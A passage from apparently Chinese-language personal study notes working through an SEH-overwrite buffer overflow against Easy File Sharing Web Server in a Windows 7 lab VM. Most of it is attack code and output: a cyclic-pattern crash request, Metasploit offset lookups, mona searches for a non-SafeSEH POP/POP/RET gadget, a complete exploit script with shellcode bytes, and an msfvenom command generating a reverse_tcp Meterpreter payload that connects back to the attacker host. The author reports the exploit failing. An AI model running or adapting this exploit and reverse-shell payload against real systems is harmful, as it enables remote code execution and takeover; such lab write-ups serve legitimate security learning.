buff = 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k6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2Mf3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2Mn3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M"
cookies=dict(SESSIONID='28758', UserID=buff, PassWD='abcdefg')
data=dict(frmLogin=True,frmUserName='123',frmUserPass='abcdefg',login='Login')
requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)
以管理员身份运行easy file sharing server 和Immunity Debugger调试器,在调试器中attach正在运行的WebServer。 靶机这边启动软件之后,记得打开SEH
查看的窗口。 再在kali这边运行SEHattack.py,然后回到win7靶机等一会儿,就会在SEH
查看的窗口看到这个结果 找到了,46336646就是下一条SEH
记录地址,66463466 是被修改的catch
块。然后我们计算偏移量。结果为:到下一条SEH
记录地址的偏移量4059;catch
块偏移量4063。
┌──(kaligan㉿studygan)-[~/kali]
└─$ cd /usr/share/metasploit-framework/tools/exploit
┌──(kaligan㉿studygan)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 46336646 -l 10000
[*] Exact match at offset 4059
┌──(kaligan㉿studygan)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 66463466 -l 10000
[*] Exact match at offset 4063
之前说过,需要通过POP/POP/RET
指令地址来载入下一条SEH
记录的地址,并跳转攻击载荷,这需要从一个外部的DLL
文件载入一个地址。 现在的操作系统会使用SafeSEH
保护机制,来编译大部分DLL
,这里需要做的就是找到一个没有被SafeSEH
机制保护的DLL
模块的POP/POP/RET
指令地址。
!mona module #启动mona
!mona rop #在C:\Program Files (x86)\Immunity Inc\Immunity Debugger【也就是调试器安装目录】生成一个rop.txt
打开rop.txt文件,可以看到列出了许多dll
文件,但并非所有dll
文件都是可用的,只有不受SafeSEH
机制保护的才可以用,即要用其中SafeSEH
一列值为False
的。下图可以看出,第一条ImageLoad.dll
就是满足条件的,SafeSEH
值为False
。
然后就是要在这个文本文件中找到一条POP/POP/RET
指令及其地址。我选择的是这个地址0x100202e1
作为要使用的POP/POP/RET
地址。
准备工作小结: 现在已经成功获取了编写渗透模块的两个重要组件:偏移量、用于载入catch
块的地址(即POP/POP/RET
地址)。 还剩下三个部分—— 空指令滑行,指在POP/POP/RET
地址和shellcode
之间添加一些NOP
(空指令),这样能保证shellcode
顺利执行。添加的NOP
数量可以通过测试来确认,例如10、20、30、40、50等,数量太小会导致程序崩溃,太大会造成死机。 坏字符去除,第六章讲过,怎么测试坏字符,这里的坏字符为\x00
和\x3b
。 短跳转指令,用来载入下一条SEH
记录地址,并帮助程序跳转到shellcode
。短跳转指令编码为\xeb\x06
,为了补齐,需要添加两个\x90
(即NOP
)。
7.3、编写渗透模块
import requests
host='192.168.88.132'
port=80
#能打开win7上计算器的脚本
buf = b""
buf += b"\xbf\xf1\x09\x31\x19\xda\xc6\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x59\x31\x7d\x14\x03\x7d\x14\x83\xed\xfc\x13"
buf += b"\xfc\xcd\xf1\x5c\xff\x2d\x02\x02\x89\xcb\x33\x10\xed"
buf += b"\x98\x66\xa4\x65\xcc\x8a\x4f\x2b\xe5\x9d\xf8\x86\x23"
buf += b"\x93\xf9\x9c\x5e\xfb\x34\x63\x32\xc7\x57\x1f\x49\x14"
buf += b"\xb7\x1e\x82\x69\xb6\x67\x54\x07\x57\x35\x30\x6c\xf5"
buf += b"\xaa\x35\x30\xc5\xcb\x99\x3e\x75\xb4\x9c\x81\x01\x08"
buf += b"\x9e\xd1\x62\xc8\x80\x5a\x3c\xf1\x90\x5d\x6f\x84\xd8"
buf += b"\x2a\xb3\xce\xeb\x2d\x40\xe4\x80\xd3\x80\x34\x57\x12"
buf += b"\xe3\x3a\xfb\x94\x3c\x7c\xe3\xe2\x36\x7e\x9e\xf4\x8d"
buf += b"\xfc\x44\x70\x11\xa6\x0f\x22\xf5\x56\xc3\xb5\x7e\x54"
buf += b"\xa8\xb2\xd8\x79\x2f\x16\x53\x85\xa4\x99\xb3\x0f\xfe"
buf += b"\xbd\x17\x4b\xa4\xdc\x0e\x31\x0b\xe0\x50\x9d\xf4\x44"
buf += b"\x1b\x0c\xe2\xf9\xe4\xce\x0b\xa4\x72\x02\xc6\x57\x82"
buf += b"\x0c\x51\x2b\xb0\x93\xc9\xa3\xf8\x5c\xd4\x34\x89\x4b"
buf += b"\xe7\xeb\x31\x1b\x19\x0c\x41\x35\xde\x58\x11\x2d\xf7"
buf += b"\xe0\xfa\xad\xf8\x34\x96\xa7\x6e\x77\xce\xe0\xef\x1f"
buf += b"\x0c\x11\xe3\x56\x99\xf7\x53\x39\xc9\xa7\x13\xe9\xa9"
buf += b"\x17\xfc\xe3\x26\x47\x1c\x0c\xed\xe0\xb7\xe3\x5b\x58"
buf += b"\x20\x9d\xc6\x12\xd1\x62\xdd\x5e\xd1\xe9\xd7\x9f\x9c"
buf += b"\x19\x92\xb3\xc9\x7d\x5c\x4c\x0a\xe8\x5c\x26\x0e\xba"
buf += b"\x0b\xde\x0c\x9b\x7b\x41\xee\xce\xf8\x86\x10\x8f\xc8"
buf += b"\xfd\x27\x05\x74\x6a\x48\xc9\x74\x6a\x1e\x83\x74\x02"
buf += b"\xc6\xf7\x27\x37\x09\x22\x54\xe4\x9c\xcd\x0c\x58\x36"
buf += b"\xa6\xb2\x87\x70\x69\x4d\xe2\x02\x6e\xb1\x70\x2d\xd7"
buf += b"\xd9\x8a\x6d\xe7\x19\xe1\x6d\xb7\x71\xfe\x42\x38\xb1"
buf += b"\xff\x48\x11\xd9\x8a\x1c\xd3\x78\x8a\x34\xb5\x24\x8b"
buf += b"\xbb\x6e\xd7\xf6\xb4\x91\x18\x07\xdd\xf5\x19\x07\xe1"
buf += b"\x0b\x26\xd1\xd8\x79\x69\xe1\x5e\x71\xdc\x44\xf6\x18"
buf += b"\x1e\xda\x08\x09"
#导致目标服务溢出的4059个A
buff="A"*4059
#实现跳转的指令
buff+="\xeb\x06\x90\x90"
#POP/POP/RET地址0x100202e1
buff+="\xe1\x02\x02\x10"
#实现空指令滑行
buff+="\x90"*40
#附加上shellcode
buff+=str(buf)
buff+="C"*50
cookies=dict(SESSIONID='28758', UserID=buff, PassWD='abcdefg')
data=dict(frmLogin=True,frmUserName='123',frmUserPass='abcdefg',login='Login')
requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)
书上应该是这样的
运行了这段代码之后,没有弹出计算器,我也不清楚为什么。我猜测:会不会是我选择的地址不对,或者是windows7装了补丁之后是不是没这个漏洞了,又或者我又哪里误操作了????
问题锦集
1、计算不了偏移量
(本质是之前测是否存在漏洞的时候程序就不会崩溃)
在kali上运行SEHattack.py。 运行第一次:SEH chain of main thread, item 0 Address=0018FFC4 SE handler=ntdll.77534DCD
计算不了偏移量,说明肯定不对,之前是哪里出错了呢?
SEH chain of main thread
Address SE handler
0018AB74 fsws.005614C4
0018B36C fsws.00558477
0018B410 USER32.754EA61E
0018B524 USER32.754EA61E
0018B63C fsws.00561548
0018B6BC fsws.005614D0
0018B77C USER32.754EA61E
0018B944 fsws.005614B8
0018B988 fsws.005614C4
0018FED0 fsws.005578B9
0018FF78 fsws.00501084
0018FFC4 ntdll.77534DCD
SEH chain of main thread, item 3
Address=0018B36C
SE handler=fsws.00558477
上述地址都试了一遍计算不了偏移量。
首先在kali端用namp扫了一些,看服务是否开启,结果是开着的
nmap -sV -A -o easy-file.txt 192.168.88.131
#-sV 服务版本识别、-A 强力检测选项,得到更多信息、-o 将扫描结果写入文件
我准备重装win7虚拟机再试试看(重装之后靶机ip
变成192.168.88.132
)。然后倒腾倒腾发现,那一串是传过来了的,但就是没崩溃~ 然后,粗心的我,今天才看见,书上那是生成了一万个字符,我昨天只生成了1000个!!!! 果然,改成10000个字符,出现了这个界面
2、没有弹出计算器
这个问题先放着吧。之后某天回来再看。问题编号【202206131257】
书上应该是这样的
但是我运行了代码之后,没有弹出计算器,和没有shellcode之前是一样的。 看了一下调试器,指令跳转应该是成功的。具体问题我现在还不清楚。 然后我想试下第六章那个控制脚本的弹出与执行,试试看,
#生成脚本shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 LPORT=5001 -b'\x00\x3b' -f python
import requests
host='192.168.88.132'
port=80
#能打开win7上计算器的脚本
buf = b""
buf += b"\xbf\xf1\x09\x31\x19\xda\xc6\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x59\x31\x7d\x14\x03\x7d\x14\x83\xed\xfc\x13"
buf += b"\xfc\xcd\xf1\x5c\xff\x2d\x02\x02\x89\xcb\x33\x10\xed"
buf += b"\x98\x66\xa4\x65\xcc\x8a\x4f\x2b\xe5\x9d\xf8\x86\x23"
buf += b"\x93\xf9\x9c\x5e\xfb\x34\x63\x32\xc7\x57\x1f\x49\x14"
buf += b"\xb7\x1e\x82\x69\xb6\x67\x54\x07\x57\x35\x30\x6c\xf5"
buf += b"\xaa\x35\x30\xc5\xcb\x99\x3e\x75\xb4\x9c\x81\x01\x08"
buf += b"\x9e\xd1\x62\xc8\x80\x5a\x3c\xf1\x90\x5d\x6f\x84\xd8"
buf += b"\x2a\xb3\xce\xeb\x2d\x40\xe4\x80\xd3\x80\x34\x57\x12"
buf += b"\xe3\x3a\xfb\x94\x3c\x7c\xe3\xe2\x36\x7e\x9e\xf4\x8d"
buf += b"\xfc\x44\x70\x11\xa6\x0f\x22\xf5\x56\xc3\xb5\x7e\x54"
buf += b"\xa8\xb2\xd8\x79\x2f\x16\x53\x85\xa4\x99\xb3\x0f\xfe"
buf += b"\xbd\x17\x4b\xa4\xdc\x0e\x31\x0b\xe0\x50\x9d\xf4\x44"
buf += b"\x1b\x0c\xe2\xf9\xe4\xce\x0b\xa4\x72\x02\xc6\x57\x82"
buf += b"\x0c\x51\x2b\xb0\x93\xc9\xa3\xf8\x5c\xd4\x34\x89\x4b"
buf += b"\xe7\xeb\x31\x1b\x19\x0c\x41\x35\xde\x58\x11\x2d\xf7"
buf += b"\xe0\xfa\xad\xf8\x34\x96\xa7\x6e\x77\xce\xe0\xef\x1f"
buf += b"\x0c\x11\xe3\x56\x99\xf7\x53\x39\xc9\xa7\x13\xe9\xa9"
buf += b"\x17\xfc\xe3\x26\x47\x1c\x0c\xed\xe0\xb7\xe3\x5b\x58"
buf += b"\x20\x9d\xc6\x12\xd1\x62\xdd\x5e\xd1\xe9\xd7\x9f\x9c"
buf += b"\x19\x92\xb3\xc9\x7d\x5c\x4c\x0a\xe8\x5c\x26\x0e\xba"
buf += b"\x0b\xde\x0c\x9b\x7b\x41\xee\xce\xf8\x86\x10\x8f\xc8"
buf += b"\xfd\x27\x05\x74\x6a\x48\xc9\x74\x6a\x1e\x83\x74\x02"
buf += b"\xc6\xf7\x27\x37\x09\x22\x54\xe4\x9c\xcd\x0c\x58\x36"
buf += b"\xa6\xb2\x87\x70\x69\x4d\xe2\x02\x6e\xb1\x70\x2d\xd7"
buf += b"\xd9\x8a\x6d\xe7\x19\xe1\x6d\xb7\x71\xfe\x42\x38\xb1"
buf += b"\xff\x48\x11\xd9\x8a\x1c\xd3\x78\x8a\x34\xb5\x24\x8b"
buf += b"\xbb\x6e\xd7\xf6\xb4\x91\x18\x07\xdd\xf5\x19\x07\xe1"
buf += b"\x0b\x26\xd1\xd8\x79\x69\xe1\x5e\x71\xdc\x44\xf6\x18"
buf += b"\x1e\xda\x08\x09"
#导致目标服务溢出的4059个A
buff="A"*4059
#实现跳转的指令
buff+="\xeb\x06\x90\x90"
#POP/POP/RET地址0x100202e1
buff+="\xe1\x02\x02\x10"
#实现空指令滑行
buff+="\x90"*40
#附加上shellcode
buff+=str(buf)
buff+="C"*50
cookies=dict(SESSIONID='28758', UserID=buff, PassWD='abcdefg')
data=dict(frmLogin=True,frmUserName='123',frmUserPass='abcdefg',login='Login')
requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)
还是不行